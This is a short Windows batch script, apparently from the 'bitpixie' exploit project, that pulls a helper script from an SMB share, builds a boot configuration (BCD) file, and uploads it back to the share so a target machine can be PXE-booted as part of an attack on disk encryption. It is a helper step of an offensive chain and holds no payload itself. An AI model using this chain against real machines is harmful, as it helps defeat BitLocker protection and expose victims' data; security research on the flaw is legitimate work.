Files
martanne-bitpixie/pxe/smb/exploit-linux.bat
T
2025-02-26 11:29:15 +01:00

31 lines
507 B
Batchfile

@echo off
setlocal
:: Check if a drive specifying the SMB share is provided
if "%~1"=="" (
echo Usage: %~nx0 S:
exit /b 1
)
:: Remove the trailing backslash if present
set "SERVER=%~1"
if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
echo Downloading scripts
copy "%SERVER%\linux\create-bcd-linux.bat" .
echo.
echo Creating BCD
call .\create-bcd-linux.bat
echo.
echo Uploading BCD
copy /Y BCD_linux "%SERVER%"
copy /Y BCD_linux "%SERVER%\BCD"
echo.
echo Exit cmd.exe and select PXE boot device